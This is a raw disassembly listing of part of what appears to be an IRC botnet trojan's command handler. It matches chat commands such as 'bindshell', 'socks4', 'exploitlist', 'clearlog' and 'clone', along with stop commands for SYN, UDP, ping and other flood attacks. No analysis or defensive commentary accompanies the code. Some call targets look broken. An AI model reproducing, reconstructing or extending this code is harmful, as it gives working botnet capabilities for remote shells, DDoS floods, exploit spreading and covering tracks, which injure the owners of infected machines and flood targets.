loc_40232B:				; CODE XREF: sub_401AC7+82Aj
					; sub_401AC7+82Fj
		mov	esi, [ebp+var_AC]


loc_402331:				; CODE XREF: sub_401AC7+862j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F6C
		push	edi
		push	offset dword_42CC80
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402157
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40237C
		mov	eax, dword_4C91B8
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_40237C
		push	eax
		push	ecx
		push	offset dword_42CC64
		jmp	loc_401E84
; ---------------------------------------------------------------------------


loc_40237C:				; CODE XREF: sub_401AC7+897j
					; sub_401AC7+8A7j
		push	edi
		push	offset dword_42CC5C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402157
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402157
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402157
		push	eax
		push	ecx
		push	offset dword_42CC44
		jmp	loc_401E84
; ---------------------------------------------------------------------------


loc_4023BB:				; CODE XREF: sub_401AC7+7B0j
					; sub_401AC7+76CCj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42CC08
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_4023CC:				; CODE XREF: sub_401AC7+6DAj
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset unk_42CBC4
		push	eax
		call	sub_41C006
		add	esp, 10h
		jmp	loc_40830C
; ---------------------------------------------------------------------------


loc_4023F3:				; CODE XREF: sub_401AC7+6CEj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253F
		cmp	[ebp+var_A4], ebx
		jz	loc_402518
		push	1Bh
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jnz	loc_402507
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		push	[ebp+esi+var_80]
		call	sub_41BEF9
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB9C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3AD
		add	esp, 34h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset word_415FB6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4024F6


loc_4024E0:				; CODE XREF: sub_401AC7+A2Dj
		cmp	[ebp+var_2904],	ebx
		jnz	loc_40830C
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_4024E0
; ---------------------------------------------------------------------------


loc_4024F6:				; CODE XREF: sub_401AC7+A17j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42CB64
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_402507:				; CODE XREF: sub_401AC7+95Dj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB34
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_402518:				; CODE XREF: sub_401AC7+94Dj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB00
		jmp	loc_4082FD
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_401AC7+6B3j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429090
		mov	[edi], ecx
		jnz	loc_401F6C


loc_40253F:				; CODE XREF: sub_401AC7+941j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC	; "c"
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964B
		push	[ebp+arg_8]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964B
		cmp	[ebp+var_A4], ebx
		jnz	short loc_40258F
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409643


loc_40258F:				; CODE XREF: sub_401AC7+AACj
		cmp	[ebp+arg_28], ebx
		jnz	loc_409643
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402744
		mov	[ebp+arg_20], offset dword_43B4C0


loc_4025AD:				; CODE XREF: sub_401AC7+B05j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025D3
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025AD
		jmp	loc_402744
; ---------------------------------------------------------------------------


loc_4025D3:				; CODE XREF: sub_401AC7+AF5j
		push	offset asc_42CDD0 ; " :"
		push	[ebp+arg_0]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F6C
		mov	cl, byte_429090
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429090
		mov	[eax+3], cl
		lea	ecx, dword_43B4D8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402628:				; CODE XREF: sub_401AC7+C12j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C080
		add	esp, 14h
		test	eax, eax
		jz	short loc_402694
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_402694
		lea	eax, dword_43B4C0[edi]
		push	eax
		call	sub_41B960
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026CF
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026CF
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4183EC
		add	esp, 0Ch
		jmp	short loc_4026CF
; ---------------------------------------------------------------------------


loc_402694:				; CODE XREF: sub_401AC7+B89j
					; sub_401AC7+B90j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026CF
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4183EC
		add	esp, 18h


loc_4026CF:				; CODE XREF: sub_401AC7+BA2j
					; sub_401AC7+BB6j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402628
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026EC:				; CODE XREF: sub_401AC7+C71j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C080
		add	esp, 14h
		test	eax, eax
		jz	short loc_40272F
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40272F
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4183EC
		add	esp, 0Ch


loc_40272F:				; CODE XREF: sub_401AC7+C4Dj
					; sub_401AC7+C53j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026EC
		mov	[ebp+var_2C8], 1


loc_402744:				; CODE XREF: sub_401AC7+AD9j
					; sub_401AC7+B07j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429090
		jz	short loc_40275D
		cmp	[ebp+var_2C8], ebx
		jz	loc_40294E


loc_40275D:				; CODE XREF: sub_401AC7+C88j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_4183EC
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_4183EC
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4183EC
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE77
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_4183EC
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_4183EC
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C080
		add	esp, 14h


loc_4027CF:				; CODE XREF: sub_401AC7+E00j
		test	eax, eax
		jz	loc_4028CC
		push	edi
		push	[ebp+arg_0]
		call	sub_41C080
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_A0]
		push	offset asc_42CABC ; ")"
		push	eax
		call	sub_41C864
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40281B
		cmp	[ebp+var_A0], 39h
		jle	short loc_402831


loc_40281B:				; CODE XREF: sub_401AC7+D49j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_402831:				; CODE XREF: sub_401AC7+D52j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	short loc_402857
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEF9
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40286B
; ---------------------------------------------------------------------------


loc_402857:				; CODE XREF: sub_401AC7+D79j
		call	sub_41C062
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40286B:				; CODE XREF: sub_401AC7+D8Ej
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B960
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BD10
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4183EC
		push	edi
		push	[ebp+arg_0]
		call	sub_41C080
		add	esp, 30h
		jmp	loc_4027CF
; ---------------------------------------------------------------------------


loc_4028CC:				; CODE XREF: sub_401AC7+D0Aj
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDCC ; " "
		push	eax
		call	sub_41C864
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40291C:				; CODE XREF: sub_401AC7+E6Aj
		push	offset asc_42CDCC ; " "
		push	ebx
		call	sub_41C864
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40291C
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F6C
		add	ecx, 3
		mov	[eax], ecx


loc_40294E:				; CODE XREF: sub_401AC7+C90j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F6
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F6
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049BD
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049BD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40491B
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40491B
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40490C
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40490C
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRz	; "rz"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048E9
		push	edi
		push	offset aSt	; "st"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048E9
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047EB
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047EB
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047EB
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047EB
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046E5
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046E5
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402AFB
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA18
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402AFB:				; CODE XREF: sub_401AC7+101Aj
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045C3
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045C3
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B4E
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9F0
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402B4E:				; CODE XREF: sub_401AC7+106Dj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B77
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9D4
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402B77:				; CODE XREF: sub_401AC7+1096j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BA0
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9B8
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402BA0:				; CODE XREF: sub_401AC7+10BFj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BC9
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C9A4
		push	offset dword_42C998
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402BC9:				; CODE XREF: sub_401AC7+10E8j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BF2
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C978
		push	offset dword_42C968
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402BF2:				; CODE XREF: sub_401AC7+1111j
		push	edi
		push	offset dword_42C95C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C1B
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C950
		push	offset dword_42C944
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402C1B:				; CODE XREF: sub_401AC7+113Aj
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C44
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C930
		push	offset dword_42C924
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402C44:				; CODE XREF: sub_401AC7+1163j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C6D
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C908
		push	offset dword_42C8F8
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402C6D:				; CODE XREF: sub_401AC7+118Cj
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C96
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8DC
		push	offset dword_42C8CC
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402C96:				; CODE XREF: sub_401AC7+11B5j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CBF
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8B4
		push	offset dword_42C8A8
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402CBF:				; CODE XREF: sub_401AC7+11DEj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E15
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C950
		push	offset dword_42C944
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	esi
		push	0Eh
		push	offset dword_42C930
		push	offset dword_42C924
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C890
		push	offset dword_42C884
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	esi
		push	16h
		push	offset dword_42C878
		push	offset dword_42C86C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8DC
		push	offset dword_42C8CC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	esi
		push	12h
		push	offset dword_42C8B4
		push	offset dword_42C8A8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C85C
		push	offset dword_42C84C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	esi
		push	13h
		push	offset dword_42C83C
		push	offset dword_42C82C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C908
		push	offset dword_42C8F8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B63B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7F8
		push	[ebp+var_88]
		push	edi
		call	sub_409862
		add	esp, 34h
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_402E15:				; CODE XREF: sub_401AC7+1207j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E3E
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C85C
		push	offset dword_42C84C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402E3E:				; CODE XREF: sub_401AC7+135Dj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E67
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C83C
		push	offset dword_42C82C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402E67:				; CODE XREF: sub_401AC7+1386j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E90
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C890
		push	offset dword_42C884
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402E90:				; CODE XREF: sub_401AC7+13AFj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EB9
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C878
		push	offset dword_42C86C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402EB9:				; CODE XREF: sub_401AC7+13D8j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EE2
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7B0
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402EE2:				; CODE XREF: sub_401AC7+1401j
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045AB
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045AB
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404593
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404593
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F5F
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C760
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402F5F:				; CODE XREF: sub_401AC7+147Ej
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F88
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C73C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402F88:				; CODE XREF: sub_401AC7+14A7j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FB1
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C71C
		jmp	loc_408CFE
; ---------------------------------------------------------------------------


loc_402FB1:				; CODE XREF: sub_401AC7+14D0j
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40457D
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40457D
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404567
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404567
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404551
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404551
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40453B
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40453B
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40451C
		push	edi
		push	offset aR	; "r"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40451C
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044FA
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044FA
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044B2
		push	edi
		push	offset aQ	; "q"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044B2
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404474
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404474
		push	edi
		push	offset aId	; "id"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40443D
		push	edi
		push	offset aI	; "i"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40443D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40317D
		call	sub_418835
		test	eax, eax
		mov	eax, offset unk_42C65C
		jnz	short loc_40314F
		mov	eax, offset unk_42C638


loc_40314F:				; CODE XREF: sub_401AC7+1681j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 1Ch
		jmp	loc_40830C
; ---------------------------------------------------------------------------


loc_40317D:				; CODE XREF: sub_401AC7+1673j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435E
		push	edi
		push	offset aT	; "t"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40433B
		push	edi
		push	offset aAl	; "al"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40433B
		push	edi
		push	offset aLog	; "log"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424B
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424B
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422F
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C7E0
